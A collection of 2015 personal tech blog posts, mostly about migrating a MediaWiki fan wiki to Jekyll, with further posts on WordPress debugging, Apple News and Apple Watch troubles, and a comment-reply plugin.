### [Deploy Jekyll Without Ruby](https://halfelf.org/2015/deploy-jekyll-without-ruby/)
**Published:** November 2, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Deploying your Jekyll site with a command.
**Content:**
This is a bit of a lie. I do have Ruby, it’s just on my laptop.
I don’t have it on my server, though. I have my git repo there, though. I could, but there are a couple reasons I don’t, and because I don’t, I can’t just run a `jekyll build` on my server. I’m not the only one with this particular issue. A lot of people on shared hosts can’t do it, for example. And people on cloud based tools can’t really either.
Option one, which is very common, is what I have been doing. I added `_site` (the Jekyll output folder) to Git and I copy that over on a post commit hook. For what it was, that worked just fine. It only ran when I did a git commit, and if I wanted to work on a version I could totally do that in a branch, edit it, and bring it back in without accidentally deploying things.
But option two would be rsync and that appealed to me more.
I found the gem I was looking for eventually. It’s called (simply) [Jekyll deploy](https://github.com/choffmeister/jekyll_deploy) and you add it to your `Gemfile` with this:
Then run the bundle command:
Now you have a new command called `deploy` which runs first a build and then it deploys based on the configuration options you put in. In my case it’s an rsync deploy, but you can do Git too. There was just one problem with it. The build every time made it such that my site would rebuild every time, which meant the rysnc would always be 100% new and that was more traffic than I really wanted.
So I did what you always do here and I [made a fork of Jekyll Deploy](https://github.com/Ipstenu/jekyll_deploy) and changed my `Gemfile` to this:
Now my deploy *only* runs a deploy.
A better solution would have been to put in some options and create `jekyll deploy --build` to allow me to run a build first, but I actually kind of like having them separate.
The only question left was if I should keep `_site` under version control. I decided that I should, since the git repository would keep the file dates under control, assuring me that only the files I changed would be pushed with a deploy.
I will note that the only reason it’s so simple for me is that I have [passwordless SSH set up](https://halfelf.org/2012/passwordless-ssh/), where I don’t have to put in my passwords when I connect from a trusted computer. And since I only have this installed on a trusted server, *and* if I didn’t, I’d have to have a password to get access to the git repo anyway, I felt it was safe.
**Categories:** How To
**Tags:** deployment, jekyll
---
### [Jekyll Collections](https://halfelf.org/2015/jekyll-collections/)
**Published:** October 21, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Figuring out collections with Jekyll is kind of like Custom Post Types.
**Content:**
Early on, Jekyll’s developers said that if someone was using posts for non-blog content, they were doing something wrong. That left one other avenue open, the first time I looked at Jekyll, which was pages. They’re nice, but they’re not what I wanted.
[Enter Jekyll collections](http://jekyllrb.com/docs/collections/). These are ‘arbitrary’ groups of related content which you put in their own folder. I had 15 years of interviews collected, so for me this seemed like a perfect idea. I read up on [Ben Balter’s – Explain Jekyll Collections like I’m 5](http://ben.balter.com/2015/02/20/jekyll-collections/) and it helped me sort out what I wanted.
## Configure
This is easy. You just add the collection code to `_config.yaml`
Having the output set to true means that when I run `jekyll build` the pages are generated. That’s pretty simple. They don’t get auto-generated when you run a `jekyll serve` and you’re testing locally, however. Which sucks. I upgraded to Jekyll 3.0 beta and it started working, though, and I’m okay with running a beta.
## Create A Folder
Also easy. Make a folder called `_interviews` in the main Jekyll folder. I will note, this gave me a fit. I wish I could put all my collections in a subfolder, because now I have this:
It’s messy, and if I didn’t know that some of those folders are special (like `_includes`) I could easily be confused. The `_site` folder makes some sense, that’s where my site is output. But even if I use the source setting to move all my source pages into a folder (called `_source` in my case), I still can’t separate the code from the content. What I would like is this:
`_assets` – Store all of my ‘code’ like layouts, plugins, css, etc here.
`_content` – Store all my post content, collections, pages, etc here.
Still this is a little better for me. Less insane. I will note, I was able to move my folders by defining the directories in my configuration file like this:
So now my main folder has two folders `_site` and `_content` which is a lot easier for me to work with. I feel less muddled. Inside the content folder is a `_jekyll` folder which is my ‘wp-content’ folder, and a `_data` folder, which has some data files. More on that later.
*NB: This only works on Jekyll 3.0 and up!*
## Create Files
All I had to do was make my files in my `_interviews` folder and I was done. Well. Not really. I needed a way for Jekyll to link through everything, and I really didn’t think making manual pages was smart. I tossed in this code to my interviews post file and it cleverly looped through everything it found, generating the page on the fly:
If you’re familiar with WordPress loops, this is the same thing as saying “For all posts in a category…”
## Customize the Hell Out of It
Of course you know that’s what I did next. I went and made it super-complex by putting my interviews in year subfolders and then making the main interview page a list of all the years, with links to those pages, and loops back and … well. That’s another post.
**Categories:** How It Is
**Tags:** coding, design, development, jekyll
---
### [Bye Wiki, Hello Jekyll](https://halfelf.org/2015/bye-wiki-hello-jekyll/)
**Published:** October 19, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Mastering Jekyll at last.
**Content:**
I’m trying to make life less messy by learning an entirely new system.
I have a Wiki with 1000 or so pages and it’s running MediaWiki. And it’s overkill. I don’t update it often enough to need all the bells and whistles. I need it to be fast, I need it to be simple. I need it to work for one editor (hi). Oh and I need it to be secure.
## Create a Git Repository
There’s a reason for this. My plan is to commit my changes for Jekyll to a git repo and then have it auto-copy the proper files up to the folder on my webserver. My git repository is private and on the same server owned by the same account, so I can do this. Once I had my bare git repo, I ran this in my local repository folder on my laptop:
And I got a warning: *warning: You appear to have cloned an empty repository.*
Which I knew. But that’s fine. I wanted it empty.
## Install Jekyll On Your Computer
Full stop. This is where I got confused before.
That’s it. That’s how to get it started.
## Create Your Site
I was still in that other folder, so I ran an install:
The reason for the force was that I did have some git files in there and a readme. Then I spent a few hours trying to figure out how to write posts and pages in Jekyll. Posts are ‘easy’ in that you create a file named `yyyy-mm-dd-PostName.md` and it will generate a post with that name. You can read up on [Writing Posts](http://jekyllrb.com/docs/posts/) for more.
But. I’m converting a Wiki and pretty much the whole thing is going to be ‘pages’. To be honest, Jekyll’s idea of pages are ugly. The [Writing Pages](http://jekyllrb.com/docs/pages/) directions want me to put it all in the same folder and I didn’t like that. I thought I’d rather write a mess of posts in the `_posts` folder and then let Jekyll generate on the fly.
To do that was relatively easy. I set up permalinks:
After I did that, I realized I would *still* have to name things that ugly way, so I added this to my `_config.yaml` file:
Then I made a folder called `_pages` and put my files in there, named `CSI_Crime_Scene_Investigation_(season_1).html` and so on, with headers like this:
Yeah. It’s starting to make sense. I could change the permalink to `":/title/"` and get the same result, where it would match the filename. But for now, the basic idea is enough.
## Themeing
It was harder than expected. I had to convert a lot of random PHP includes into Jekyll includes (pity I can’t just say ‘include this file, yes, I know it’s PHP…). Then I wanted to add some features like a table of contents, like I had from MediaWiki, which was a little tricky. But. Once I sorted out the way you do includes and how I could do them, it was all a bit easier.
## Importing MediaWiki
This proved to be incredibly hard. Like table flipping, teeth gnashing, up at night, wondering why the universe was created this way hard. It was so hard, I exported the wiki to XML (easy), converted that to [WordPress xml via Perl](http://www.analogrithems.com/rant/portfolio/mediawiki2wordpress/) (hard because of dependancies), edit all instances of `wiki` to be a post, import into a WordPress site (easy), and then …
Then I spent a long time going through the import, fixing the pages, formatting things, uploading images properly, etc. The wiki I was importing was old. It happens to be the oldest part of the website it’s on, and I was using a lot of templates. In a way that was great. But in another way it was really a terrible idea because it locked me in.
So a lot of things had to happen. First, I had to rebuild all my templates. The wonderful thing with this is that I was using a lot of templates to list things like episodes and I could convert those to yml (or csv) and then have Jekyll run a loop to display them. Once I realized that, it meant I had a lot more freedom with content.
I ended up not importing everything. A lot of what was on that Wiki was never looked at by anyone but me, and fifteen plus years of cruft leads to a lot of messy things. Between Jekyll collections and data, I was able to break things out into sanity again. But that’s a whole post on it’s own.
## Pushing To My Server
I’m using Git, and it’s set to auto-push when I push. But this time I did it a little different. Normally I’d run jekyll on the server, but in this case I don’t have the option so I went with adding my `_site` folder to the git repo (which meant editing `.gitignore`) and then writing this:
This is not what I would consider a great idea. I’d rather run git on the box, but Ruby has been misbehaving there, and this actually lets me use the code on a shared box too.
**Categories:** How To
**Tags:** jekyll, mediawiki
---
### [Fetch As Google Failed](https://halfelf.org/2015/fetch-google-failed/)
**Published:** October 7, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A short tale of debugging and WordPress.
**Content:**
Once upon a time, I got an email from Google recently saying that Fetch as Google was failing for ipstenu.org.
I eyed them like they had a fifth eye. I was on ipstenu.org. I was on halfelf.org. They were clearly wrong. So I went to [Google Webmasters Tools](https://www.google.com/webmasters/tools/) and checked out what was going on. I had a whole page that said “Temporarily unreachable.” I gave it a day. Sometimes that’s just Google being weird. But no.
[](https://halfelf.org/wp-content/uploads/sites/2/2015/09/not-accessible.png)
After cursing a little while, I turned off all the plugins on the site and switched to the default theme. And the fetch worked. So I turned them on one at a time until it stopped.
And the moral, ladies and gentlemen, is that even though it’s been ten years of WordPress, when someone asks you to make sure you go through the normal debugging steps, you do it.
- flushing any caching plugins you might be running, as well as server and/or browser caches.
- deactivating all plugins (yes, all) to see if this resolves the problem. If this works, re-activate the plugins one by one until you find the problematic plugin(s). If you can’t get into your admin dashboard, try resetting the plugins folder by FTP or PhpMyAdmin (read [“How to deactivate all plugins when you can’t log in to wp-admin”](http://codex.wordpress.org/FAQ_Troubleshooting#How_to_deactivate_all_plugins_when_not_able_to_access_the_administrative_menus.3F) if you need help). Sometimes, an apparently inactive plugin can still cause problems. Also remember to deactivate any plugins in the mu-plugins folder. The easiest way is to rename that folder to mu-plugins-old
- switching to the Twenty Fourteen theme to rule out any theme-specific problems. If you can’t log in to change themes, you can remove the theme folders via FTP so the only one is `twentyfifteen`. That will force your site to use it.
- manually upgrading. When all else fails, download a fresh copy of the latest.zip file of WP (top right on this page) to your computer, and use that to copy up. You may need to delete the wp-admin and wp-includes folders on your server. Read the [Manual Update directions first](http://codex.wordpress.org/Updating_WordPress#Manual_Update).
So yes. Do try it.
**Categories:** How To
**Tags:** debug, essay, wordpress
---
### [Jekyll Layouts vs Wiki Templates](https://halfelf.org/2015/layouts-templates/)
**Published:** October 26, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Replacing a variety of templates with cleverly built layout files.
**Content:**
One of the things I was doing in Mediawiki was using a lot of templates. A lot. The way a template works in Mediawiki, you have a special page called `Template:NAME` and you can embed it with `{{NAME}}` in any post. You can even embed a template in a template. They’re basically static ‘blurbs.’ You can make them dynamic, but I have found that even after ten years of using Mediawiki, it’s still a bit of a mystery.
With Jekyll, that gets thrown out the window.
Let’s take, for example, my list of interviews. I have 14 or so years of interviews, broken up into a separate page by year and internally sorted by date. Manually. I also have a template `{{Interviews}}` which outputs a pretty formatted link to each year. Also made manually. For every new interview, I edited at least two pages (the interview itself and the year). And for every year I had to update the main interviews page and the template.
My end goal was to do the following:
1. Each year index would dynamically list the posts for that year
2. The interview main page would list links to all the available years
3. The interview ‘template’ would be output on every page
4. The interview year page would list everything from that year
5. All those things would dynamically update when I added a new item
Oh and I also wanted a layout to be intelligent enough to show a special header with specific information on the individual interview pages.
## Love Collections
To convert this, I first made use of [collections](https://halfelf.org/2015/jekyll-collections/), making one for `_interviews` and within that I have a folder for each year with the interview as a flat file and an `index.md` to make the main index. I don’t have to do this. I could have the index anywhere I wanted, but this was easier for me.
There is a big gotcha here, though. Subfolders and collections and sorting by date doesn’t work the way you’d think it would. I could make it easily sort by title, and I could reverse it, but sorting by date proved to be a killer. Eventually I figured this out:
1. All the pages have to have a date, even if you’re not going to sort that page (see my index)
2. You can’t sort in a for loop
The final code looks like this:
## Front Matters
This is funnier if you know that the ‘header’ of a Jekyll file is called the [Font matter](http://jekyllrb.com/docs/frontmatter/). Here’s an example of mine:
Everything except `topic: index` is a default variable. I made the topic, and what that does is tell me “This page is an index page” and what year things are. There are reasons for this down the line. Now I also want to sort by year, but I can parse the date for that.
## Design the Layout
I designated my layout as ‘interview’ in the first example, so I made a file called `interview.html` in layouts and made it a child of my default layout. In there, I have this code:
That says “if a page is an index, list it.” Now when I want a new year, I just add in a new folder with an index file.
I’ve gone even further, taking the logic from some WordPress themes I’ve see, and the layout file has all the code for both the index view and the per-item view, allowing me to format my interviews with custom headers and footers around the content.
## Does it Work?
Yes it does! Mostly.
The problem with this, and yes there’s a problem, is that the interview layout page doesn’t regenerate itself. I have to go and re-save the layout for interviews in order to regenerate any lists I have on that page.
I can get away with typing this in shell: `touch _content/_jekyll/layouts/interview.html && jekyll build` but it is a little annoying. Even running a manual `jekyll build` won’t do it because the layout doesn’t realize it has a change yet. I do understand why, though. It may be worth moving that somewhere else, though I have a feeling even if I make it a template it would have the same problem, since that template file wouldn’t know to update until it was edited.
It took me a while to find the magic sauce is a bit of code called `regenerate: true` – This is not something you should use everywhere! I use it on my interviews index pages because those pages get updated when a new item is added to their folder. It actually lets my index pages be totally blank except the yaml headers which is nice and simple.
**Categories:** How It Is
**Tags:** coding, development, jekyll, mediawiki
---
### [Bad Habits, Bad Dates](https://halfelf.org/2015/bad-habits-bad-dates/)
**Published:** October 28, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** In my move from MediaWiki to Jekyll, I learned I'd been doing some things in a pretty terrible way.
**Content:**
First of all, the migration of MediaWiki to Jekyll went fine. I binge watched “Person of Interest” and converted things with the clever use of grep and regex. Once I got to the point where I was converting templated files from Wiki to Jekyll, it got a lot easier. The hardest part was date conversion, and it started with some bad filenames.
MediaWiki let me use whatever I wanted in (almost) whatever way I wanted, which is a problem. Also a problem is MediaWiki’s flat-level structure. Everything was the same level for the URLs, so you had `http://example.com/wiki/NAME` and, for the most part, that worked out okay. The problem I ran into was how I chose to name files.
You see, I used the logical names “Interview Source (dd M yyyy)” for the interviews. That converted to the URL of `http://example.com/wiki/Interview_Source_(dd_M_yyyy)` which is nice and descriptive, if long. And it worked great right up until my subject had seven interviews on one day, two with the same source.
Take this example. If you have an interview with the CBS morning news and the CBS evening news, on the same CBS local station, do you name the files “CBS Morning News (28 October 2015)” or “CBS News (28 October 2015)”? Obviously you have to go by the unique name (or the more unique one) to avoid name collisions. And for a time that worked out just fine. Except. I also had news articles. So if the CBS Morning News put out a news article on the same date as the interview, I was screwed. I ended up with multiple stupid filenames like “CBS Morning News (28 October 2015 b)” and so on. It was annoying.
This could have been ‘avoided’ or at least mitigated more if I’d had used the subpage hierarchy for articles, making things `http://example.com/wiki/Interview/Interview_Source_(dd_M_yyyy)` and `http://example.com/wiki/News/Interview_Source_(dd_M_yyyy)` instead. And certainly I could have moved everything.
But for whatever reason, subpages aren’t really super popular with MediaWiki. At least not the self-managed ones I’ve seen. They take a level of awareness that not everyone has. You can’t ‘see’ the subpages easily, not like categories with WordPress, or collections with Jekyll. And that means people just don’t use them. How do you train everyone to know how to do everything?
Conversely, this naming issue isn’t a problem with WordPress because there has always been a clear delineation between URL and page name. This is made more-so when you use plugins like Yoast SEO, which allows you to remove ‘stopwords’ like ‘a’ and ‘the’ from your URL strings. This looks ‘wrong’ on MediaWiki, sadly, which is used to making pretty URLs that are descriptive.
In the move to Jekyll, I renamed everything. First I made folders for each year and then I moved all files with that year in the name into the right folder. Since that muddled a few ‘extra’ files in there, I checked each file for the content `{{InterviewTemplate` or `{{NewsTemplate` and sorted them into `/interviews/year/` or `/news/year/` as appropriate. That was easy.
To rename the files, I used my favorite tool [Name Mangler](https://manytricks.com/namemangler/) to convert the filenames from `Interview_Source_(dd_M_yyyy)` to `interview-source` – nice and short. The ‘gotcha’ with that was, of course, multiple posts from the same source in a given year. And that was a problem because of that stupid naming convention. I would have to sort out some kind of script to rename things in bulk to convert the names into something I could then re-rename in order.
And then I remembered something…
[](https://xkcd.com/1319/)
Not that. I remembered that the post-slug didn’t matter. It could represent the date of the post, but also possibly the order in which the posts were created. Which meant they didn’t matter in the slightest and I could batch rename.
Furthermore, my date convention lead to a massive annoyance *inside* the content. Jekyll wanted my name convention to be `yyyy-mm-dd` and there was no really easy way to take `yyyy-M-dd` and convert it. There is no regex that does that. In the end, I converted `dd M yyyy` into `yyyy-M-dd` (which regex can do nicely) and then a search on all files for `date: /d{2}-January-/d{4}` to replace with `date: /1-01-/2` and repeated for every year.
Annoying, but it worked.
**Categories:** How To
**Tags:** coding, jekyll, mediawiki, regex
---
### [Mailbag: Why Jekyll?](https://halfelf.org/2015/mailbag-jekyll/)
**Published:** October 23, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Why would I go to Jekyll when I could have WordPress?
**Content:**
> Why didn’t you convert your site to WordPress? You said you had to import it from Mediawiki to WordPress already.
I had this conversation with my wife, too.
WordPress is *awesome* at being a dynamic website. To be a static ‘wiki’ style website, it sucks. It’s not meant to be static like that. It’s not intended to be static. Even if you turn off comments on your site, you mean for WordPress to generate index pages and categories and the like.
With WordPress, all that work is done on the server. When you visit a page, it’s generated for the first time. I may have a cache that lets reader number 2 see that page, but always the page, the HTML, is being dynamically built on-demand. MediaWiki works the same way. In contrast, Jekyll is dynamically built on my laptop and deployed as an in-situ static site. Each HTML page is a real HTML page on the server. No extra work has to happen. It’s small, it’s light, and it’s fast, because all that processing was done by me on my laptop before putting it on the server.
And that actually illustrates the problem with WordPress, and why we struggle with things like Varnish and nginx and caching. We want our sites to do more and be faster. We need flexibility and posting to Twitter and dynamic page generation when we make an edit, because we’re constantly making changes.
Except I didn’t. I don’t. Not the particular site I was working on, anyway. The site has about 1000 pages (probably closer to 600 once I decided not to import some of the things) and they’re pretty static. At most I updated them once a week for half the year. WordPress would be overkill. Hell, the Wiki was overkill and the only reason I kept using it was technological debt. I didn’t want to add to the debt. I didn’t want to make things even weirder and harder to use. I didn’t want to put a site more at risk with software I didn’t want to upkeep (MediaWiki, not WordPress).
So it was clearly time to dig myself out with a little sweat equity and decide what I really wanted. I made a list of what I needed, what I wanted, and what I could live without. When I did that, Jekyll started looking more and more like a viable option. I would have spent as much time removing the aspects of WordPress I don’t need as I would have learning a new theme system and language.
Also in the end I didn’t use the WordPress import. I manually copy/pasted content. The content was what I wanted, and I needed it text only, and MediaWiki made that damn hard to get at. Of course the Jekyll exporter for WordPress was pretty freaking cool. If I was pure WordPress to Jekyll, I’d be fine. I guess there just aren’t a lot of people doing MediaWiki exports.
**Categories:** How It Is
**Tags:** essay, jekyll, mailbag, mediawiki, wordpress
---
### [Apple News: Only Our News Fits](https://halfelf.org/2015/apple-news-fits/)
**Published:** October 2, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Rant: Apple News is all the news that fits, except the news you can't have.
**Content:**
iOS 9 has a new tool, [Apple News](https://www.apple.com/news/). This is the replacement for the Newsstand app everyone shoved in that ‘Apple Shit’ folder on their iPhones and muttered about how it took up space on their 16G iPhone they didn’t care about, and damn it, I don’t have an iWatch so why do I care about that app either?
You know you have that folder.
News, though, is actually pretty damn cool! It’s actually a news reader app I like and want to use. Except for two big issues.
You see, I have an Apple Watch and I like how it alerts me to things. I get a wrist buzz, I look down, I know things. A text message, a direct message from Twitter (since few people can do that), an email in a certain box (not yet, but as soon as I figure that out…). What I want with News is for my watch to buzz when there’s a new article about a specific thing.
The first thing I did was set up News to search for topics I wanted. Like you do. And I put in ‘Jorja Fox’ because I’m still running that website.
[](https://halfelf.org/wp-content/uploads/sites/2/2015/09/IMG_0003.jpg)
Interesting, right? No Jorja. I clicked on ‘Show more topics’ but even after scrolling and scrolling, I couldn’t find her. The same thing happened with ‘George Eads’ and ‘Rachel Ray’ but not ‘Bobby Flay.’ Looking for ‘Jennifer Tilly’ brought up ‘Jennifer Lopez’ (close!) but weirdly enough I was able to find ‘Sara Sidle’ (the character Jorja played on CSI).
[](https://halfelf.org/wp-content/uploads/sites/2/2015/09/IMG_0009.jpg)
I ended up managing to make my favorites (Animal Defenders Intl, CSI, and Sara Sidle), but I couldn’t find the movie ‘Lion Ark’ or ‘Extinction Soup.’ Actually, finding the ADI was incredibly hard.
The search function doesn’t seem to trigger for exact matches as much as it should.
If you want to add a website, it’s not at all logical. You have to add an RSS feed if the news site isn’t located there and even *that* isn’t logical. Go to Safari, find the RSS feed, click it, and your iOS device will ask you if you want to open in News. Say yes! There you go.
Except… How do I add an arbitrary search? You don’t. You can’t. If you want to have a ‘Cat Cora’ channel, or a ‘Jorja Fox’ channel, you’re out of luck. If the name doesn’t show up it doesn’t show up, and yes, I scrolled and scrolled. Then I got a little smarter and got the Google RSS link:
`https://news.google.com/news?pz=1&cf=all&q=Jorja+Fox&output=rss`
I opened that on iOS and added it. And it didn’t work. Oh it added something, but it wouldn’t open within News.
Then I tried Bing:
`https://www.bing.com/news/search?q=jorja+fox&go=Submit&qs=n&form=NWBQBN&pq=jorja+fox&sc=8-9&sp=-1&sk=&format=RSS`
And Apple News said it couldn’t add Bing to News. Bias much? After iOS 9.0.2 dropped (literally that night), I was able to add Bing, but only if I went to that URL and viewed as desktop (if you didn’t know, there’s “Request Desktop Site” button in Mobile Safari).
[](https://halfelf.org/wp-content/uploads/sites/2/2015/10/IMG_0011.jpg)
Now *sometimes* there’s a [button in the ‘Share’ setting in Safari that lets me add to News](https://halfelf.org/wp-content/uploads/sites/2/2015/10/image-768x1024.png). And sometimes there is not. Way to go, Apple. In all cases, I get the spinning circle of doom after I add something to News.
Naturally I went to look for help on Apple News and found none.
In the midst of all this, I realized a horrible thing. You don’t get alerts on your Watch from News. You do from a variety of other news apps. You can’t from News. So they’ve made a great new tool that doesn’t let you add arbitrary searches, doesn’t alert you to new news about the searches you can make on your Apple Watch. And while I do have notifications on, it doesn’t seem to notify me about anything.
In contrast, I added Google News & Weather to my iPhone and, once I logged in with my Google account, it remembered I had a saved search and showed that. Except it also showed me general news and weather. I can’t dismiss those. I *have* to show them, above my custom news, all the time. Plus the alerts I get are for world news, not my personal searches, which is funny since Google can email me when my custom search has new articles, so I know it *can* do this.
Here’s what I want: A ‘News Reader’ that lets me get alerts on what I want to get alerts on. If a site it scans publishes something with my keywords, it pings me. When I read the app, it would sort by date (hiding duplicates by default), and let me thumbs-up or thumbs-down the article to help train it as to what was relevant.
One of the apps I tried, while looking for that, was [Nuzzel](https://itunes.apple.com/us/app/nuzzel-daily-news-from-your/id692285770?mt=8). Cute hedgehog aside, the idea that I can get the news from people I follow (and one presumes I trust) is nice. But that only shows me what people know about. [News360](https://itunes.apple.com/us/app/news360-your-personalized/id420397564?mt=8) suffered the same problem as Apple News, that adding certain arbitrary topics proved impossible. It could find some of my terms but not all. At least they had a way for me to file a bug report, though.
**Categories:** How It Is
**Tags:** apple, ios, rant
---
### [Mailbag: Delete My Account, Please](https://halfelf.org/2015/mailbag-delete-account-please/)
**Published:** October 16, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sorry, Charlie, I can't help you there.
**Content:**
Becuase I’m active in the support forums, people find me and ask all sorts of questions. Like Charlie.
> I want to totally delete my word press account. I will PAY you to do this. Why? Because I worked for 15 minutes on the original word press website but found it too difficult for me and chose to go with a super easy Wix.com website, which is now published and works well. In searches I come up under wordpress only and my deleted wordpress website is still there. I want people to be able to find my wix site. I hope there is a way to TOTALLY delete my word press account. I will PAY you to do it.
Sorry, Charlie, no can do. I checked his email and his domain that he put in his email and it was on WordPress.com so I sent him the link on .com for [How to delete your site](https://en.support.wordpress.com/delete-site/).
I will note, I am sorry he wants to use Wix.com, but on some levels it is far simpler than WordPress (yes, I said it). It’s drag, drop, and done, and looks great on desktops. Mobile? That’s another story. But I had a paint-by-numbers GeoCities account back in the day, so I really don’t have room to talk about ugly first websites.
The story doesn’t end here. Charlie asked me to do it for him.
Even if he was a customer at *my* company, I would tell him no. I would send him directions on how to do it but I would not delete it for him. I don’t delete customer’s sites or data (unless the data is a Terms violation). Hell, even with hacked content, I back it up elsewhere first. Deleting someone’s data is an absolute, 100%, last resort. You should never ever do it. There’s no going back.
Then Charlie asked me again.
I suspect his issue was that he was really frustrated and wanted everything to die in a fire. Which I totally understand, but amidst all your anger, you need to take a deep breath and follow the directions. And, when someone tells you “I don’t work for that company, but I found out how to do it. Here you go!” perhaps you can say “Thank you.”
Just a thought.
**Categories:** How It Is
**Tags:** essay, mailbag, wordpress
---
### [New Plugin: @Reply Two](https://halfelf.org/2015/new-plugin-reply-two/)
**Published:** October 9, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making managing and leaving comments a little easier.
**Content:**
This blog has a cool trick in the comments section. The ‘reply’ link in comments will auto-generate your reply starting with “@person: ” and it does that with my plugin [@Reply Two](https://wordpress.org/plugins/at-reply-two/).
The name is a pun because it’s a fork of the plugin [@Reply](https://wordpress.org/plugins/reply-to) (which has the slug `reply-to`), but it also has a ‘reply to’ feature (two … to … right?). I strip-mined the original and made sure it worked on the modern versions of WordPress. I made sure it looked good. And then I added in a feature I wanted, which was to allow for a way to see parent comments on the admin dashboard.
That is, if you go look at a comment on the dashboard, you’ll see a little arrow that says “Show Parent Comment (15 words):” (or however many words). It strips out all HTML, so it’s a pretty accurate count. I wouldn’t want to use it on a site with a lot of really, really long comments where everyone was always replying to each other. It would make the comments page really slow to load.
Stephen Cronin’s [Show Parent Comment](https://wordpress.org/plugins/show-parent-comment/) does the same thing there. His uses JS, and mine uses html5 with [details-shim](https://github.com/tyleruebele/details-shim) for fallback. Except for IE8. I hate IE8.
I forked the plugin almost two years ago but I had it irregularly updated until Jeff posted about his [experiences moderating comments on WP Tavern](http://wptavern.com/lessons-i-learned-moderating-comments-in-wordpress).
The sad truth is that you can’t automate ‘enough’ of what makes moderating a pain in the ass. You can’t make it faster because it requires a human to read and pay attention to what they’ve read and process what it means. The part of the work that takes all the time is the part of the work that won’t be possible to teach a machine to do until we invent an AI.
There’s a reason why spam-trapping isn’t perfect. While we have gotten pretty good about it, things will always get caught incorrectly, or let through when it should have been blocked. Why? Well we don’t yet have a way to scan someone for the intent in their heart. Metaphysics aside, we can’t find the answer in the soul of the person beside us.
What we can do is make it easier for humans to look at a thing and go “Wait a second, that isn’t right!” Humans are generally good at that. We know what we’re ‘used’ to seeing and what we’re not. Hopefully that’s what @Reply Two does. Pun and all.
**Categories:** How It Works
**Tags:** plugins, wordpress
---
### [Turning It Off And On Again](https://halfelf.org/2015/turning-on-off/)
**Published:** October 14, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Spending a day debugging when you can't see anything that resembles an error message is entertaining. In the "not at all" way.
**Content:**
Apple’s watchOS 2.0 came out on Monday Sept 21, and I was one of the unlucky ones who had a problem. All of the new ‘native’ apps crashed.
If you’re unfamiliar with the concept, the original Apple Watch didn’t allow apps to really run *on* the watch. They ran on the phone and you had to use Bluetooth to connect for data. Now, with watchOS 2, the apps can load locally and use wifi on the Watch itself, making them faster. Exciting times for all. As I explained to my wife, all the Apple default native apps worked fine. The 3rd party ones did not. They all crashed.
Also my battery life went to shit. So I did what one logically does. I rebooted my Watch. That didn’t help. So I went to Google and Reddit (yes, Reddit) and I dug around and found what everyone else had done to fix it:
- Unpair and re-pair
- restore from backup of 2.0
- Setup as new
- Let it sit overnight
- Uninstall apps from phone, reboot phone and watch, reinstall apps on phone, reinstall apps on watch
- Reinstall from my 1.0.1 backup
None of that worked for me, so I filed a ticket with Apple support at about 7:15am. They called me back at 7:30 (which was nifty) and we discussed what I’d tried. They walked me through things, I confirmed I’d tried all of that, and detailed what I’d seen happen. Finally the woman apologized, said she didn’t know why it couldn’t work, and asked if I wanted to mail it in to Apple for a replacement.
I didn’t. I was sure this wasn’t a hardware bug. I asked if I could take it to an Apple Store, and she said yes, making me an appointment at the store for the weekend (the earliest time) but I work .5 miles from a store so I planned to head down after lunch to have a go.
I ended up not doing that.
I work in tech. I’m used to troubleshooting. I went over everything I’d done. I checked and double checked that I was sure I did it right. I went back to the Reddit thread and looked to see if anything new had been posted. Sure enough, there was something. [A Zen man in the MacRumors forum had an answer](http://forums.macrumors.com/threads/native-apps-do-not-load.1919307/page-6):
> - Doing a iphone backup with encryption of data on itunes.
> - Delete content of iphone.
> - Restore from a backup.
> - All native apps are working fine!
While I couldn’t say that was a ‘great’ idea, I figured I had nothing left to lose. Since I always keep a spare cable for my phone and my watch in my bag, I connected them both and tried.
And yes. It worked. Immediately I canceled the appointment with the Apple Help Gurus and started a live chat with them to explain how I fixed it. I also contacted the two app companies I’d been chatting with about it *and* made sure to confirm on Reddit that it worked for me. Because [I will never be DenverCoder9](https://xkcd.com/979/).
The debugging process with the Apple Watch is convoluted. I had a similar headache when I couldn’t get the WiFi working properly. I ended up having to disconnect WiFi from my phone and then re-add it for the Watch to pick it up. It’s not really the best experience, and there’s not a lot of ways to debug things.
While I do like the Apple Watch, the black-box technology aspect of the iPhone is increased since it’s, literally, impossible to use the watch without a phone. You have to both attempt to fix things on the watch and the phone, without having a way to determine which is the broken one. And a ‘reinstall’ is not really the friendliest thing. Had I not had a handy laptop, I would have had to do an iCloud restore, which would kill my activity history (something I’d already accidentally wiped out).
The problem comes back to meaningful error messages. All I could say was “The app crashes and kicks me back to the home screen.” Apple faces the same issues we all do with errors. How do we explain things in an informative way that allows people to react to the errors and know what to do next, when there is *no way* to gauge their skill set? Sadly, Apple’s route is “Take it to a professional.”
We can’t all do that with our products, and more often than not it leads to frustration and things like ‘Bendgate,’ where people just rant and make a product seem worse when it’s really only a very small percentage of those who are impacted.
Is there an answer? No. But it’s just one more thing to consider when we discuss elegant failures.
**Categories:** How To
**Tags:** essay, troubleshooting
---
### [An Ad Network You Can't Use](https://halfelf.org/2015/ads-you-cant-use/)
**Published:** October 12, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's really the best ad network I've heard of. But I've barely heard of it.
**Content:**
Amidst the kerfluffle of Peace being pulled from the App Store after a couple days, there was a mention of how it also blocked [the Deck Network](http://decknetwork.net/) ads.
Most people in tech have seen Deck ads, but few outside the ‘hard core’ geeks know of it, and it’s for good reason. It’s an invite only ad system that makes ads that don’t slow your site down.
Manually curating ads, they restrict users to show one and only one ad on the site, perhaps not on all pages of a site, but just the one ad.
> In essence, buying a month on The Deck gives you an exclusive showing on three percent of all the pages viewed for that month across all fifty-two sites and services. And there won’t be Google or other third-party ads diluting your exposure. The Deck ad is the only ad on the page.
It’s a phenomenal amount of work. And that would be why only fifty-odd sites are in. Peace happens to be on that network. But let’s put aside the whole [ethics and morality of ad-blocking](https://halfelf.org/?p=8043) for a day.
